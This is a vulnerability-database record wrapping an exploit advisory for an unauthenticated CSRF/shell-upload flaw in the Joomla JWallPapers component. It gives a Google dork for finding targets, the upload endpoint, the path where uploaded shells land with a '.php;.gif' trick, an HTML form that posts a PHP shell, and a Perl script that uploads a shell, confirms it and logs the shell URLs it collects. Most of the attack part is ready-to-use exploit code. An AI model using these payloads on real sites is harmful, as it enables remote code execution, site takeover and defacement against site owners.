{"id": "PACKETSTORM:151752", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Joomla JWallPapers 2.0.1 Cross Site Request Forgery / Shell Upload", "description": "", "published": "2019-02-19T00:00:00", "modified": "2019-02-19T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/151752/Joomla-JWallPapers-2.0.1-Cross-Site-Request-Forgery-Shell-Upload.html", "reporter": "KingSkrupellos", "references": [], "cvelist": [], "lastseen": "2019-02-20T02:55:57", "viewCount": 58, "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/151752/joomlajwallpapers201-xsrfshell.txt", "sourceData": "`#################################################################### \n \n# Exploit Title : Joomla JWallPapers Components 2.0.1 CSRF Shell Upload \n# Author [ Discovered By ] : KingSkrupellos \n# Team : Cyberizm Digital Security Army \n# Date : 18/02/2019 \n# Vendor Homepage : joomla4ever.org \n# Software Download Link : joomla4ever.org/archive/ext/com_jwallpapers.zip \n# Software Information Link : joomla4ever.org/extensions/ext-jwallpapers \n# Software Affected Version : 1.1 - 1.3 - 1.4 - 1.6 and 2.0.1 ~ and all previous versions \n# Tested On : Windows and Linux \n# Category : WebApps \n# Exploit Risk : Medium \n# Google Dorks : inurl:''/index.php?option=com_jwallpapers'' \n# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ] \nCWE-264 [ Permissions, Privileges, and Access Controls ] \nCWE-352 [ Cross-Site Request Forgery ] \n# PacketStormSecurity : packetstormsecurity.com/files/authors/13968 \n# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ \n# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos \n \n#################################################################### \n \n# Description about Software : \n*************************** \nJWallpapers - powerful and customizable gallery component for Joomla! \n \nWith component, you can create a pretty good service at the show, loading or \n \ndownloading of different graphic materials (wallpaper, screensaver for mob. \n \nPhones, photos, etc.) is present in component integration \n \nin Community Builder, support SEF components. \n \n#################################################################### \n \n# Impact : \n*********** \nThis Software Joomla JWallPapers indicates an attack attempt to perform an \n \nArbitrary File Upload vulnerability in Joomla Jwallpapers Plugin/Component. \n \nThe vulnerability is due to a design flaw in the vulnerable application \n \nwhen handling a file upload request without authentication. \n \nA remote attacker may be able to exploit this to execute arbitrary code within \n \nthe context of the application, by uploading an arbitrary file without any authentication. \n \nSystem Compromise: Remote attackers can gain control of vulnerable systems. \n \n#################################################################### \n \n# Arbitrary File Upload/Shell Upload Exploit : \n*************************************** \n/index.php?option=com_jwallpapers&task=upload \n \n# Vulnerability Error : \n******************** \n{\"jsonrpc\" : \"2.0\", \"result\" : null, \"id\" : \"id\"} \n \n# Directory File Path : \n******************* \n/jwallpapers_files/plupload/[SHELLNAME.php;.gif] \n \n#################################################################### \n \n# CSRF Cross Site Request Forgery Exploiter : \n******************************************* \n \n<html> \n<body> \n<form method=\"post\" action=\"http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload\" enctype=\"multipart/form-data\"> \n<input type=\"file\" name=\"file\"/> \n<input type=\"hidden\" name=\"name\" value=\"shell_name.php\" /> \n<input type=\"submit\" value=\"submit\"/> \n</form> \n</body> \n</html> \n \n#################################################################### \n \n# Another Perl Exploiter Code : \n*************************** \n#!/usr/bin/perl \n \nsub comjwallpapers(){ \n$ua = LWP::UserAgent->new(keep_alive => 1); \n$ua->agent(\"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801\"); \n$ua->timeout (30); \n \n$url =\"$http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload\"; \n$comjwallpapersup= \"$site/jwallpapers_files/plupload/kingskrupellos.php?X=Attacker\"; \nmy $shell =\"kingskrupellos.php\"; \n \nmy $response = $ua->post( $url, Content_Type => \"multipart/form-data\", Content => [ file=>[\"$shell\"] , submit=>\"Upload\" ]); \n \n$check = $ua->get($comjwallpapersup)->content; \nif ($check =~ /Cyberizm Digital Security Army/){ \nprint item(),\"Com Jwallpapers\"; \nprint color('bold white'),\" ................... \"; \nprint color('bold green'),\"VULN\\n\"; \nprint item(),\"Shell Uploaded Successfully\\n\"; \nprint color('bold white'),\" [Link] => $comjwallpapersup\\n\"; \nopen (TEXT, '>>Result/shells.txt'); \nprint TEXT \"$comjwallpapersup\\n\"; \nclose (TEXT); \n}else{ \nprint item(),\"Com Jwallpapers\"; \nprint color('bold white'),\" ................... \"; \nprint color('bold red'),\"NOT VULN\\n\"; \n} \n} \n \n################################################################### \n \n# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team \n \n#################################################################### \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645751063}}
{}
Joomla JWallPapers 2.0.1 Cross Site Request Forgery / Shell Upload